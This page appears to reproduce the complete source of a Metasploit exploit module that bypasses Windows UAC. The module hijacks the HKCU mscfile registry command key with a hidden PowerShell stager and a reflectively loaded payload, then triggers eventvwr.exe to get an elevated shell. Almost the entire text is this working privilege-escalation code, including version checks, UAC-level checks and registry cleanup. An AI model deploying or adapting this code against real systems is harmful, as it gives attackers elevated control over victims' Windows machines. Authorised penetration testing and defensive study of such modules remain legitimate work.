Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze14EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze15EXEC_REG_VAL = ''.freeze # This maps to "(Default)"16EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze17EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze18EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze19PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze20CMD_MAX_LEN = 20812122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',27'Description' => %q{28This module will bypass Windows UAC by hijacking a special key in the Registry under29the current user hive, and inserting a custom command that will get invoked when30the Windows Event Viewer is launched. It will spawn a second shell that has the UAC31flag turned off.3233This module modifies a registry key, but cleans up the key once the payload has34been invoked.3536The module does not require the architecture of the payload to match the OS. If37specifying EXE::Custom your DLL should call ExitProcess() after starting your38payload in a separate process.39},40'License' => MSF_LICENSE,41'Author' => [42'Matt Nelson', # UAC bypass discovery and research43'Matt Graeber', # UAC bypass discovery and research44'OJ Reeves' # MSF module45],46'Platform' => ['win'],47'SessionTypes' => ['meterpreter'],48'Targets' => [49[ 'Windows x86', { 'Arch' => ARCH_X86 } ],50[ 'Windows x64', { 'Arch' => ARCH_X64 } ]51],52'DefaultTarget' => 0,53'References' => [54['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'],55['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1']56],57'DisclosureDate' => '2016-08-15',58'Compat' => {59'Meterpreter' => {60'Commands' => %w[61stdapi_railgun_api62]63}64}65)66)67end6869def check70version = get_version_info71if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607)72Exploit::CheckCode::Appears73else74Exploit::CheckCode::Safe75end76end7778def exploit79eventvwr_cmd = EVENTVWR_PATH80registry_view = REGISTRY_VIEW_NATIVE8182# Make sure we have a sane payload configuration8384if session.arch != target.arch.first85fail_with(Failure::NoTarget, 'Session and Target arch must match')86end87if sysinfo['Architecture'] == ARCH_X6488vprint_status('Target is x64')89if session.arch == ARCH_X8690vprint_status('Detected Target/Session mismatch. Syswow Required.')91registry_view = REGISTRY_VIEW_64_BIT92eventvwr_cmd = EVENTVWR_WOW64_PATH93end94elsif target_arch.first == ARCH_X6495# if we're on x86, we can't handle x64 payloads96fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')97end9899# Validate that we can actually do things before we bother100# doing any more work101check_permissions!102103case get_uac_level104when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,105UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,106UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT107fail_with(Failure::NotVulnerable,108"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")109when UAC_DEFAULT110print_good('UAC is set to Default')111print_good('BypassUAC can bypass this setting, continuing...')112when UAC_NO_PROMPT113print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')114shell_execute_exe115return116end117118payload_value = rand_text_alpha(8)119psh_path = expand_path(PSH_PATH.to_s)120template_path = Rex::Powershell::Templates::TEMPLATE_DIR121vprint_status("template_path #{template_path}")122psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)123124psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""125cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"126127existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''128129if existing.empty?130registry_createkey(EVENTVWR_WRITE_KEY, registry_view)131end132133print_status('Configuring payload and stager registry keys ...')134registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)135registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)136137cmd_path = expand_path(eventvwr_cmd.to_s)138print_status("Executing payload: #{cmd_path}")139result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')140141if result['return'] > 32142print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.')143Rex.sleep(10)144else145print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")146end147148handler(client)149150print_status('Cleaning up registry keys ...')151if existing.empty?152registry_deletekey(EVENTVWR_DEL_KEY, registry_view)153else154registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)155registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)156end157end158159def check_permissions!160fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?161162# Check if you are an admin163vprint_status('Checking admin status...')164admin_group = is_in_admin_group?165166unless check == Exploit::CheckCode::Appears167fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')168end169170unless is_in_admin_group?171fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')172end173174print_status('UAC is Enabled, checking level...')175if admin_group.nil?176print_error('Either whoami is not there or failed to execute')177print_error('Continuing under assumption you already checked...')178elsif admin_group179print_good('Part of Administrators group! Continuing...')180else181fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')182end183184if get_integrity_level == INTEGRITY_LEVEL_SID[:low]185fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')186end187end188end189190191